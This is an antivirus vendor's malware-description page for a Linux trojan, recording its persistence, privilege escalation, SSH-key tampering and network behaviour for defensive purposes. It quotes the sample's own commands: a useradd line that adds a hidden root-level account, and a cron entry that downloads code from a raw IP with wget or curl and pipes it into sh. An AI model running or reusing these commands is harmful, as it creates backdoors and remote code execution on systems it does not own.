FOR CUSTOMERS

My library

+ Add to library

Search

24/7 Tech support | Rules regarding submitting

Send a message

Call us

+7 (495) 789-45-86

Forum

Your tickets

Total: -
Active: -
Latest: -

Call us

+7 (495) 789-45-86

EN

RU CN DE EN ES FR IT JP KZ UZ PL BY

Support services

Dr.Web vxCube

Sign in to Dr.Web vxCube

VCI investigations

Virus library

Knowledge base

Technologies

Terminology

Training and education

Myths

Myths about anti-viruses

Linux.Siggen.5844

Added to the Dr.Web virus database: 2023-10-13

Virus description added: 2023-10-13

Technical Information

To ensure autorun and distribution:

Creates or modifies the following files:

/etc/cron.hourly/0
/etc/crontab

Malicious functions:

Removes itself

Gains root privileges

Launches itself as a daemon

Gets access to SSH keys

/root/.ssh/authorized_keys

Substitutes application name for:

-sh

Launches processes:

crontab -
useradd -u 0 -g 0 -o -d / vmhelper -p $1$AC.gxhwV$bLNJMPnrfQFOb3nRfb2LU0
/bin/sh -c useradd -u 0 -g 0 -o -d / vmhelper -p \x27$1$AC.gxhwV$bLNJMPnrfQFOb3nRfb2LU0\x27 >/dev/null 2>&1
/bin/sh -c echo -e \x22*/3 * * * * root (wget http://194.180.48.105/x86 -O- || curl http://194.180.48.105/x86)|sh\x22 | crontab -

Kills the following processes:

-sh

Performs operations with the file system:

Modifies file access rights:

/etc/passwd+
/etc/shadow+
/etc/subuid+
/etc/subgid+

Modifies file owner:

/etc/passwd+
/etc/shadow+
/etc/subuid+
/etc/subgid+

Creates folders:

/root/.ssh

Deletes folders:

/root/.ssh

Creates symlinks:

/etc/passwd.lock
/etc/group.lock
/etc/gshadow.lock
/etc/subuid.lock
/etc/subgid.lock
/etc/shadow.lock

Creates or modifies files:

<SAMPLE_FULL_PATH>
/var/spool/cron/crontabs/tmp.sOC2Aw
/etc/.pwd.lock
/etc/passwd.824
/etc/group.824
/etc/gshadow.824
/etc/subuid.824
/etc/subgid.824
/etc/shadow.824
/etc/passwd-
/etc/passwd+
/etc/shadow-
/etc/shadow+
/etc/subuid-
/etc/subuid+
/etc/subgid-
/etc/subgid+
/var/spool/cron/crontabs/tmp.v8SpJh
/var/spool/cron/crontabs/tmp.qhMqOk
/var/spool/cron/crontabs/tmp.7vSh0j
/var/spool/cron/crontabs/tmp.BlMgw7
/var/spool/cron/crontabs/tmp.1Ilbib
/var/spool/cron/crontabs/tmp.Ffb1U7
/var/spool/cron/crontabs/tmp.LoEoOj
/var/spool/cron/crontabs/tmp.IOsplc
/var/spool/cron/crontabs/tmp.ppxjBf
/var/spool/cron/crontabs/tmp.r0gRXf
/var/spool/cron/crontabs/tmp.6N76Ok
/var/spool/cron/crontabs/tmp.MIUQIh
/var/spool/cron/crontabs/tmp.g1qxmj
/var/spool/cron/crontabs/tmp.vCzWmg
/var/spool/cron/crontabs/tmp.18NvB7
/var/spool/cron/crontabs/tmp.3fKEcX
/var/spool/cron/crontabs/tmp.FnYPAJ
/var/spool/cron/crontabs/tmp.Z3FBpy

Deletes files:

/var/spool/cron/crontabs/tmp.sOC2Aw
/etc/passwd.824
/etc/group.824
/etc/gshadow.824
/etc/subuid.824
/etc/subgid.824
/etc/shadow.824
/etc/shadow.lock
/etc/passwd.lock
/etc/group.lock
/etc/gshadow.lock
/etc/subuid.lock
/etc/subgid.lock
/var/spool/cron/crontabs/tmp.v8SpJh
/root/.ssh/authorized_keys
/var/spool/cron/crontabs/tmp.qhMqOk
/var/spool/cron/crontabs/tmp.7vSh0j
/var/spool/cron/crontabs/tmp.BlMgw7
/var/spool/cron/crontabs/tmp.1Ilbib
/var/spool/cron/crontabs/tmp.Ffb1U7
/var/spool/cron/crontabs/tmp.LoEoOj
/var/spool/cron/crontabs/tmp.IOsplc
/var/spool/cron/crontabs/tmp.ppxjBf
/var/spool/cron/crontabs/tmp.r0gRXf
/var/spool/cron/crontabs/tmp.6N76Ok
/var/spool/cron/crontabs/tmp.MIUQIh
/var/spool/cron/crontabs/tmp.g1qxmj
/var/spool/cron/crontabs/tmp.vCzWmg
/var/spool/cron/crontabs/tmp.18NvB7
/var/spool/cron/crontabs/tmp.3fKEcX
/var/spool/cron/crontabs/tmp.FnYPAJ
/var/spool/cron/crontabs/tmp.Z3FBpy

Locks files:

/etc/cron.hourly/0
/etc/crontab
/etc/passwd
/etc/shadow
/etc/ssh/sshd_config
/root/.ssh/authorized_keys
/root/.ssh

Changes time of creation/access/modification of files:

/etc/passwd-
/etc/shadow-
/etc/subuid-
/etc/subgid-

Network activity:

Awaits incoming connections on ports:

127.0.0.1:5616

Establishes connection:

8.#.8.8:53
19#.##0.48.105:1111

Sends data to the following servers:

10#.###.122.127:3478

Other:

Collects CPU information

Curing recommendations

Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number